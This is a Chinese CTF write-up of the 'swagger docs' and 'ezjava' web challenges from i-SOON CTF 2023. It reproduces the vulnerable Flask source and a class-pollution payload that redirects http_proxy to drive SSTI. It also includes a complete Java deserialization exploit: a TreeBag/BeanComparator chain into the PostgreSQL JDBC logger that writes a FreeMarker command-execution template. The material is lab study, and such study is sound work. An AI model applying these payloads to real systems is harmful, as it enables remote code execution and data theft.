源码位置: https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web

swagger docs

直接docker-compose up -d发现容器会直接exit,直接去desktop里看一下
image.png
但是我们可以发现是有run.sh的
image.png

1
docker run -p 2256:5000 -it --entrypoint /bin/bash swaggerdocs-service

把run.sh的命令一下就行

1
nohup python api.py & python app.py

一开始用swagger-exp这个工具扫,但是发现没啥用,主要的接口在网站上面的文档都写了,题目也就用这几个

  • /api-base/v0/register: 注册
  • /api-base/v0/login: 登录
  • /api-base/v0/search: 任意文件读取
  • /api-base/v0/update: 原型链污染
  • /api-base/v0/logout: 登出
    注册登录拿token,Content-type要改json
    image.png
    image.png
    一开始读/proc/self/environ环境变量没有flag,读cmdline,run.sh,读源码
    image.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#coding=gbk
import json
from flask import Flask, request, jsonify,send_file,render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD']=True

app.config['SECRET_KEY'] = 'fake_flag'
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {
'code': 0,
'message': 'failed',
'result': None
}
response1={
'code': 1,
'message': 'success',
'result': current_time
}

response2 = {
'code': 2,
'message': 'Invalid request parameters',
'result': None
}


def auth(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == User.username and payload['password'] == User.password:
return func(*args, **kwargs)
else:
return 'Invalid token', 401
except:
return 'Something error?', 500

return decorated

@app.route('/',methods=['GET'])
def index():
return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
User.setUser(username,password)
token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)
return jsonify(response1)

return jsonify(response2),400


@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
try:
token = User.token
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == username and payload['password'] == password:
response = jsonify(response1)
response.set_cookie('token', token)
return response
else:
return jsonify(response0), 401
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401

return jsonify(response2), 400

@app.route('/api-base/v0/update', methods=['POST', 'GET'])
@auth
def update_password():
try:
if request.method == 'POST':
try:
new_password = request.get_json()
if new_password:

update(new_password, User)

updated_token = jwt.encode({'username': User.username, 'password': User.password},
app.config['SECRET_KEY'], algorithm='HS256')
User.token = updated_token
response = jsonify(response1)
response.set_cookie('token',updated_token)
return response
else:
return jsonify(response0), 401
except:
return "Something error?",505
else:
return jsonify(response2), 400

except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401

def update(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
update(value,getattr(dst, key))
else:
setattr(dst, key, value)


@app.route('/api-base/v0/logout')
def logout():
response = jsonify({'message': 'Logout successful!'})
response.delete_cookie('token')
return response


@app.route('/api-base/v0/search', methods=['POST','GET'])
@auth
def api():
if request.args.get('file'):
try:
if request.args.get('id'):
id = request.args.get('id')
else:
id = ''
data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
if data.status_code != 200:
return data.status_code

if request.args.get('type') == "text":

return render_template_string(data.text)
else:
return jsonify(json.loads(data.text))
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
except Exception:
return 'something error?'
else:
return jsonify(response2)

class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password

def setToken(self, token):
self.token = token

def __init__(self):
self.username="admin"
self.password="password"
self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

if __name__ == '__main__':
User = MemUser()
app.run(host='0.0.0.0')

这里我们不指定flag文件的名字,当时打算爆破的发现有点长,dockerfile文件里设置了
image.png
我们只能去看原型链污染路由了,当时做到这里就卡住了不知道要去污染什么,secret_key??全局变量???后来看了官方wp发现去污染了环境变量的http_proxy的值,这个值是本机发送http请求使用的代理.我唯一使用过的地方是我的wsl的Linux科学上网会被设置这个代理为Windows的网络,这题可以可以用这个代理来控制响应包的内容,而/api-base/v0/search路由有正好有ssti

1
2
3
4
5
6
7
8
9
10
11
{
"__init__": {
"__globals__": {
"os": {
"environ": {
"http_proxy":"ip:port"
}
}
}
}
}

image.png

控制响应:
image.png

改一下命令
image.png

ezjava

这里环境还是有点问题需要我们进去搞一下
开容器要设置个环境变量

1
docker run -it -p 8081:80 -e D0g3CTF=flag{thisisflag} --entrypoint /bin/bash ezjava-app

把/app/start.sh的内容在容器内部执行一次,直接复制粘贴即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/sh
echo $D0g3CTF > /flag
chmod 444 /flag
unset D0g3CTF
iptables -P INPUT ACCEPT
iptables -F
iptables -X
iptables -Z
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -m state --state NEW -j DROP
iptables -P OUTPUT DROP
iptables -n -L
java -jar /app/ezjava.jar

这题直接就给了反序列化路由
image.png
肯定加了一些黑名单
image.png
这里poe.xml有
image.png

不出网的docker环境应该覆盖index.ftl来模板渲染,参考:https://xz.aliyun.com/t/11812#toc-5 的logger链来写文件,那我们的目标就算调用getter方法来调用BaseDataSource.getConnection,但是黑名单禁了PriorityQueue我们的CB链无法使用,这里参考Boogipop师傅的文章: https://boogipop.com/2023/12/24/%E7%AC%AC%E5%85%AD%E5%B1%8A%E5%AE%89%E6%B4%B5%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8C%91%E6%88%98%E8%B5%9B%20Writeup/#ezjava

TreeMap/Bag的利用
TreeMap.readObject():
image.png
AbstractMapBag.doReadObject:
image.png

这里的map是反射修改的TreeMap,TreeMap.put:
image.png
TreeMap.compare:
image.png
这里我们把comparator改为构造好的BeanComparator即可实现任意getter
payload:这里payload有这个文章的师傅的: https://zer0peach.github.io/2023/12/24/%E5%AE%89%E6%B4%B5%E6%9D%AF%E6%A0%A1%E5%9B%AD%E8%B5%9B2023/#%E4%B8%8D%E5%87%BA%E7%BD%91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
package com.ctf.axb;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.bag.TreeBag;
import org.postgresql.ds.PGConnectionPoolDataSource;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.TreeMap;

public class test2 {
public static void main(String[] args) throws Exception {
PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource();
String loggerLevel = "debug";
String loggerFile = "/app/templates/index.ftl";
String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}";
System.out.println(shellContent);
String jdbcUrl = "jdbc:postgresql://"+"123"+"/aaaa?ApplicationName="+"123123123"+"&loggerFile="+loggerFile+"&loggerLevel="+loggerLevel;
pgConnectionPoolDataSource.setURL(jdbcUrl);
pgConnectionPoolDataSource.setServerNames(new String[]{shellContent});


BeanComparator comparator = new BeanComparator();
setFieldValue(comparator, "property", "connection");


TreeBag treeBag = new TreeBag(comparator);
TreeMap<Object,Object> m = new TreeMap<>();
setFieldValue(m, "size", 2);
setFieldValue(m, "modCount", 2);
Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object MutableInteger = createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
Object node = nodeCons.newInstance(pgConnectionPoolDataSource,MutableInteger, null);
Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);
setFieldValue(node, "right", right);
setFieldValue(m, "root", node);
setFieldValue(m, "comparator", comparator);
setFieldValue(treeBag,"map",m);
System.out.println(base64serial(treeBag));
deserTester(treeBag);
}
public static String base64serial(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}
public static void base64deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void deserTester(Object o) throws Exception {
base64deserial(base64serial(o));
}
public static Object createWithoutConstructor(String classname) throws Exception {
return createWithoutConstructor(Class.forName(classname));
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
if(field != null) {
field.set(obj, value);
}
}
}

image.png
image.png

这个payload有个问题我看了两天一直没搞懂,就算为啥要给root赋值为一个TreeMap$Entry对象,看了payload的那篇师傅的文章才搞懂,在writeObject时:
image.png
image.png
会调用TreeMap.iterator()函数
image.png
跟进getFirstEntry():
image.png
会变量TreeMap的root变量,root变量定义:private transient Entry<K,V> root;
这里要通过反射把root变量换成可以变量的TreeMap$Entry类型才行,key就是构造好的pgConnectionPoolDataSource,value是MutableInteger类型,因为对value做了MutableInteger类型转化
image.png

只有保证writeObject正确写入才能正常readObject,这里还有一个让我疑惑的点是node(也就是root的值)被加了一个right(TreeMap$Entry类型),这题不加这个也可以,因此我们把代码的

1
2
//Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);  
//setFieldValue(node, "right", right);

这两行注释掉也可以打通,不影响
链子:
1
2
3
4
5
6
7
8
9
10
11
TreeBag.readObject
AbstractMapBag.doReadObject
TreeMap.put
TreeMap.compare
BeanComparator.compare
PropertyUtilsBean.getProperty
中间有个循环卡很久,直接shift+f8一直按跳出来
BaseDataSource.getConnection
BaseDataSource.getConnection
直接catch弹出来LOGGER.log:
LOGGER.log(Level.FINE, "Failed to create a {0} for {1} at {2}: {3}", new Object[]{this.getDescription(), user, this.getUrl(), var4});

参考:

https://boogipop.com/2023/12/24/%E7%AC%AC%E5%85%AD%E5%B1%8A%E5%AE%89%E6%B4%B5%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8C%91%E6%88%98%E8%B5%9B%20Writeup/#ezjava
https://dce.i-soon.net/#/group/detail/31
https://mrwq.github.io/aggregate-paper/butian/PostgreSQL%20JDBC%20Driver%20RCE%EF%BC%88CVE-2022-21724%EF%BC%89%E4%B8%8E%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E4%B8%8E%E5%88%86%E6%9E%90/
https://zhuanlan.zhihu.com/p/647418911
https://zer0peach.github.io/2023/12/24/%E5%AE%89%E6%B4%B5%E6%9D%AF%E6%A0%A1%E5%9B%AD%E8%B5%9B2023/#%E4%B8%8D%E5%87%BA%E7%BD%91

ai_java后面搞